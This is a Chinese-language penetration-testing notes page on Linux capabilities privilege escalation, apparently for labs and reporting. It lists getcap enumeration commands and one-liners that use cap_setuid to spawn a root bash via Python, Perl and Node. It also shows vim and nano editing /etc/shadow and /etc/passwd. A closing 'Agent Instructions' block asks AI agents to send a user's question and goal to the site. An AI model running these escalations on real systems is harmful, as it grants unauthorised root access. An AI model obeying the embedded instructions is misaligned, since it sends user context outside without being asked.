> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/capabilities.md).

# Capabilities

Linux capabilities 权限提升笔记，涵盖 cap\_setuid、cap\_dac\_read\_search、GTFOBins、Python、Perl、Vim、tac 和 tar 滥用。

Linux capabilities 将 root 权限拆分为可分配给二进制文件的细粒度权限。危险的能力，例如 `cap_setuid+ep`, `cap_dac_read_search+ep`，或文件写入能力，可以绕过普通用户限制。

## 方法

* 枚举文件能力并识别带有危险权限位的二进制文件。
* 检查 GTFOBins 和特定语言的 payload，查找可用于 shell、读取、写入或 setuid 滥用的方法。
* 在尝试获取 root shell 之前，优先使用最小化的验证命令。

## 快速检查

```bash
getcap -r / 2>/dev/null
getcap -r /usr/bin/ 2>/dev/null
getcap -r /usr/sbin/ 2>/dev/null
getcap -r /bin/ 2>/dev/null
getcap -r /sbin/ 2>/dev/null
```

## 危险能力示例

| 能力                       | 重要原因                  |
| ------------------------ | --------------------- |
| `cap_setuid+ep`          | 可允许二进制文件切换到 UID 0。    |
| `cap_dac_read_search+ep` | 可绕过文件读取和目录搜索权限。       |
| `cap_dac_override+ep`    | 可绕过普通文件权限检查。          |
| `cap_sys_admin+ep`       | 非常广泛的能力，通常几乎等同于 root。 |
| `cap_setgid+ep`          | 可允许二进制文件切换到特权组。       |

如果 Python 具有 `cap_setuid`，则最小化验证为：

```bash
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

## 语言运行时示例

Python：

```bash
getcap -r /usr/bin/python* 2>/dev/null
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

Perl：

```bash
getcap -r /usr/bin/perl* 2>/dev/null
/usr/bin/perl -e 'use POSIX (setuid); setuid(0); exec "/bin/bash";'
```

Node.js：

```bash
getcap -r /usr/bin/node* 2>/dev/null
/usr/bin/node -e 'process.setuid(0); require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]});'
```

CAP\_SETGID 示例：

```bash
getcap -r / 2>/dev/null | grep setgid
/usr/bin/perl -e 'use POSIX (setgid); setgid(0); exec "/bin/bash";'
```

读/写能力示例：

```bash
getcap -r / 2>/dev/null | grep dac_read_search
/usr/bin/vim /etc/shadow

getcap -r / 2>/dev/null | grep dac_override
/usr/bin/nano /etc/passwd
```

当存在 capabilities 时，还应结合 GTFOBins 审查其他解释型运行时：

```
ruby
php
lua
```

查看进程和可用的 capabilities：

```bash
capsh --print
capsh --print | grep cap_
```

设置 capabilities 需要 root，但这对实验室复现很有用：

```bash
sudo setcap cap_setuid+ep /path/to/binary
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-spinner" style="color:$primary;">:spinner:</i></h3></td><td><h4>Vim Capabilities</h4></td><td>关于 Linux 权限提升的 Vim capabilities 说明，包含枚举步骤、利用示例和面向报告的验证。</td><td><a href="/zh/privesc/capabilities/capabilities-vim-linux-privilege-escalation.md">Capabilities（Vim）- Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-spinner" style="color:$primary;">:spinner:</i></h3></td><td><h4>Python Capabilities</h4></td><td>通过 cap_setuid 和 GTFOBins payload 进行 Linux 权限提升的 Python capability 滥用。</td><td><a href="/zh/privesc/capabilities/python-capabilities.md">Python Capabilities</a></td></tr><tr><td><h3><i class="fa-spinner" style="color:$primary;">:spinner:</i></h3></td><td><h4>tar Capabilities</h4></td><td>关于 Linux 权限提升的 tarS 二进制 capabilities 说明，包含枚举步骤、利用示例和面向报告的验证。</td><td><a href="/zh/privesc/capabilities/capabilities-tar-linux-privilege-escalation.md">Capabilities（tarS）- Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-spinner" style="color:$primary;">:spinner:</i></h3></td><td><h4>Perl Capabilities</h4></td><td>关于 Linux 权限提升的 Perl capabilities 说明，包含枚举步骤、利用示例和面向报告的验证。</td><td><a href="/zh/privesc/capabilities/capabilities-perl-linux-privilege-escalation.md">Capabilities（Perl）- Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-spinner" style="color:$primary;">:spinner:</i></h3></td><td><h4>tac Capabilities</h4></td><td>关于 Linux 权限提升的 tac capabilities 说明，包含枚举步骤、利用示例和面向报告的验证。</td><td><a href="/zh/privesc/capabilities/capabilities-tac-linux-privilege-escalation.md">Capabilities（tac）- Linux 权限提升</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/capabilities.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
